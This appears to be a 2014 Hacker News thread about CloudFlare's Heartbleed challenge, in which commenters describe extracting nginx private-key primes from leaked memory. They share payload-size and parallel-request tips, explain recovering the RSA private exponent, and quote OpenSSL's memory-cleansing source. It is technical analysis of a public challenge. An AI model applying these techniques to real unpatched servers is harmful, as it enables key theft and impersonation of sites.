i think cloudfare's version of nginx is a lucky version or my code is bugged or ...

makomk · on April 12, 2014

Wow, I just tested this on Debian and you're right - the simplest thing really does work. Kind of makes me wish I'd tried a little harder at CloudFlare's challenge; I had something pointed at their server and doing this early on, but shut it down after a couple of hours because it was using lots of CPU and not getting very far.

Edit: My code's tested too - the primes it gives me are exactly the same as the values in the private key

Edit 2: Doesn't even have to be the first request after restarting, I fired off a few hundred simple test requests first and it still worked. It's likely that any lightly-loaded nginx install on Debian was wide open.

benmmurphy · on April 12, 2014

i suspect getting the key on cloudflare is much harder :) it will be interesting to find out how they did it.

makomk · on April 12, 2014

Well, the heavy load on CloudFlare's test server is probably making life harder by using up lots of RAM and filling it with uninteresting garbage, if nothing else. I'd be curious how a server with the same configuration but very light load fared.

benmmurphy · on April 12, 2014

with some slight modifications i was able to extract the private key from cloudflare. i'm not sure if the modifications were necessary or not....

quasque · on April 12, 2014

I also got the Cloudflare private key with the same technique you describe, tried both incrementally increasing the payload size and choosing it at random (between 3 and 18427 bytes - anything higher than that triggered an alert). The incremental increase worked better: there was a range in the mid-hundreds that continually emitted one of the primes.

Other possible contributing factors: I was hammering the server with empty https requests hoping it would leave traces of calculation about, and was running a few dozen of the heartbeat keysearch in parallel. I don't know if either of these helped or not.

Who knows, maybe some anonymous benefactor carefully extracted the primes out of a more opaque data structure and uploaded them neatly back to the heap for us all to find!

benmmurphy · on April 12, 2014

I used the random payload size between 0 and 10,000. But sounds like you found a nice way to get the keys :) I looked at the openssl source code and I don't think it is possible in nginx for it to leak the intermediate results into memory. I suspect we are leaking one of the only two primes stored in memory. Another HN poster was able to break apache MPM and I strongly suspect they were leaking intermediate values: https://twitter.com/makomk/status/454761049955127296

i also thought an earlier discoverer might have been trolling us :)

dogsky · on April 12, 2014

Interesting. But from got the prime1 and prime2, from there how do you obtain the private certificate?

alexkus · on April 12, 2014

You now know the two primes (p,q) which multiply together to make n (the public key modulus). We also know e (the public key exponent).

d (the private key) is:-

    d = e^-1 mod ((p-1)(q-1))

To work this modular inverse out you use the extended Euclidean algorithm.

This is why you need to know the factorisation of n=(p*q). You can't compute d (the private key) with just the composite n.

cryptbe · on April 12, 2014

You don't need to use p or q. See http://vnhacker.blogspot.com/2014/04/idea-to-solve-cloudflar...

dogsky · on April 13, 2014

Very interesting. So, just with the private key given p/q and the modulus is really possible to extract the private key? I saw the RSATool (https://github.com/ius/rsatool), but it needs an "n" and "d" parameter. So, how to use the output from this modified hertbeet exploit with RSATool since it only prints "Using Modulus", "Got result:" and "Found Prime" and all are much larger in comparison with parameters for RSATOOL. Thanks.

quasque · on April 14, 2014

If you have modulus n and prime p, you can get the other prime q by dividing n by p. This gives you both primes, which is the input to RSA key generation (along with the public exponent which is usually 65537, but can be extracted from the X.509 certificate along with the modulus).

benmmurphy · on April 12, 2014

apparently these temp values are scrubbed by openssl. i would definitely verify because there could be some implementation bug that stops their scrubbing. so what nginx does is:

  handle_request:
    do_decryption
    scrub_temporaries
    write_to_client
  handle_another_request:
    ..

because nginx is single threaded there shouldn't be any requests handled between do_decryption and scrub_temporaries. but this is a problem on other servers.

  static int RSA_eay_private_decrypt(int flen, const unsigned char *from,
               unsigned char *to, RSA *rsa, int padding)
          {
        ...

        if (ctx != NULL)
                {
                BN_CTX_end(ctx);
                BN_CTX_free(ctx);
                }
        if (buf != NULL)
                {
                OPENSSL_cleanse(buf,num);
                OPENSSL_free(buf);
                }
        return(r);


  void BN_CTX_free(BN_CTX *ctx)
        {
        if (ctx == NULL)
                return;
  #ifdef BN_CTX_DEBUG
        {
        BN_POOL_ITEM *pool = ctx->pool.head;
        fprintf(stderr,"BN_CTX_free, stack-size=%d, pool-bignums=%d\n",
                ctx->stack.size, ctx->pool.size);
        fprintf(stderr,"dmaxs: ");
        while(pool) {
                unsigned loop = 0;
                while(loop < BN_CTX_POOL_SIZE)
                        fprintf(stderr,"%02x ", pool->vals[loop++].dmax);
                pool = pool->next;
        }
        fprintf(stderr,"\n");
        }
  #endif
        BN_STACK_finish(&ctx->stack);
        BN_POOL_finish(&ctx->pool);
        OPENSSL_free(ctx);
        }


  static void BN_POOL_finish(BN_POOL *p)
          {
          while(p->head)
                  {
                  unsigned int loop = 0;
                  BIGNUM *bn = p->head->vals;
                  while(loop++ < BN_CTX_POOL_SIZE)
                          {
                          if(bn->d) BN_clear_free(bn);
                          bn++;
                          }
                  p->current = p->head->next;
                  OPENSSL_free(p->head);
                  p->head = p->current;
                  }
          }


  void BN_clear_free(BIGNUM *a)
          {
          int i;

          if (a == NULL) return;
          bn_check_top(a);
          if (a->d != NULL)
                  {
                  OPENSSL_cleanse(a->d,a->dmax*sizeof(a->d[0]));
                  if (!(BN_get_flags(a,BN_FLG_STATIC_DATA)))
                          OPENSSL_free(a->d);
                  }
          i=BN_get_flags(a,BN_FLG_MALLOCED);
          OPENSSL_cleanse(a,sizeof(BIGNUM));
          if (i)
                  OPENSSL_free(a);
          }

  void OPENSSL_cleanse(void *ptr, size_t len)
          {
          unsigned char *p = ptr;
          size_t loop = len, ctr = cleanse_ctr;
          while(loop--)
                  {
                  *(p++) = (unsigned char)ctr;
                  ctr += (17 + ((size_t)p & 0xF));
                  }
          p=memchr(ptr, (unsigned char)ctr, len);
          if(p)
                  ctr += (63 + (size_t)p);
          cleanse_ctr = (unsigned char)ctr;
          }

cryptbe · on April 13, 2014

Yeah, you're correct. So it seems that you don't need math to solve this challenge, but maybe luck and patience.

benmmurphy · on April 12, 2014

i think this took me as long as coding the recovery tool :(

https://github.com/jjarmoc/csaw2012_cert_app/blob/master/lib...

https://github.com/ius/rsatool

jjarmoc · on April 17, 2014

Yah, that's the trickiest part. I was pretty ecstatic when I found a real world use case for toy code that I spent way too much time on :)

cryptbe · on April 12, 2014

I wrote a tool some time ago. It's 10 lines of Python using pyasn1.